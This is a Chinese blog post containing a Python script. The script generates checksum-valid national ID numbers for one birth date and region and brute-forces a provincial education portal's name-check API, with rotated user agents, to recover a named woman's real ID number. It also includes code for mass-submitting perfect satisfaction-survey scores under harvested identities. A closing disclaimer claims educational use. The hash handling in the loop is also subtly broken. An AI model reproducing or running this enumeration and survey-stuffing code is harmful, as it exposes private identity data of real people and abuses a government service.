身份证小玩具

# 深拷贝也可以
import time

import requests
import tqdm
import json
from random import choice
from openpyxl import load_workbook
import math
import hashlib
from lxml import etree
user_agent_list = [
    'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',
    'User-Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11',
    'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
    'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
    'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',
    'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0',
    'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
]
def login(md5user,md5passwd):
    url = 'https://mbjy.jxedu.gov.cn/api/portal/checkName'
    parse1 = {
        'name': md5user,
        'idCard': md5passwd
    }
    header = {
        'User-Agent': choice(user_agent_list)
    }
    return json.loads(requests.post(url=url,params=parse1,headers=header).text)['data']
#清洗数据 提取所有的身份证
def makeid():
    district = ['230102', '230103', '230104', '230108', '230109', '230110', '230111', '230112',
                '230113', '230123', '230124', '230125', '230126', '230127', '230128', '230129',
                '230183', '230184']
    birth = [i + '20010223' for i in district]
    birth_two = [s + '0' + str(i) if i < 10 else s + str(i) for i in range(100) for s in birth]
    gril = [a + str(i) for i in range(0, 9, 2) for a in birth_two]
    # print([str(i+1) for i in range(0,9,2)])
    last = [a + str(i) for i in range(9) for a in gril]
    reallast = []
    for id in tqdm.tqdm(last,desc='正确的号码 '):
        S = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
        code = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2]
        result = code[sum(int(x) * y for x, y in zip(id, S)) % 11]
        if str(result) == id[-1]:
            reallast.append(id)
    del last
    return reallast
    # with open('1.txt', 'w', encoding='utf-8') as f:
    #     f.write(str(last))
#提取有用的身份证
def success():
    pass

#提交数据用不到
def submit(name,data):
    url = 'https://mbjy.jxedu.gov.cn/api/portal/submitQuestion'
    parse2 = {
        "departmentCode": "eFdIrl21mFN7sE5qgVDA/g",
        "score": 100,
        "remark":'',
        "scoreRemark": "1、您对学校住宿条件:20 , 2、您对学校食堂提供的饮食:20 , 3、您对学校的安全、治安环境:20 , 4、您对学校办学行为:20 , 5、您对学校教师:20",
        "type": 0,
        "k": "XwA4YpHnGMVz1SdFqSX7AA",
        "check": "4265d22967734264db1240a338e6a31f"
    }
    header = {
        'User-Agent':choice(user_agent_list)
    }
    response = json.loads(requests.post(url=url,params=parse2,headers=header).text)
    print(name,response['message'],response['timestamp'])
if __name__ == '__main__':
    healthcards = makeid()
    user = hashlib.md5()
    passwd = hashlib.md5()
    user.update('丁杰'.encode('utf-8'))
    for i in tqdm.tqdm(healthcards):
        passwd.update(i.encode('utf-8'))
        if login(user.hexdigest(),passwd.hexdigest()):
            print(f'当前号码 : {i}')
            break
        # print(data)
    # wb = load_workbook('code.xlsx')
    # ws = wb.active
    # user = hashlib.md5()
    # passwd = hashlib.md5()
    # for i in range(4,ws.max_row-1):
    #     name,healcard = ws[f'B{i}'].value,ws[f'E{i}'].value
    #     user.update(name.encode('utf-8'))
    #     passwd.update(healcard.encode('utf-8'))
    #     data = login(user.hexdigest(),passwd.hexdigest())
    #     submit(name,data)

此文仅用于技术科普,教育与研究用途,请勿用于商业甚至非法用途,否则一切后果自负。若用户利用此文章而受到惩处,本人及本平台对其行为概不负责,亦不承担任何连带责任。 

 

posted @ 2022-05-12 17:30  inks  阅读(74)  评论(0)    收藏  举报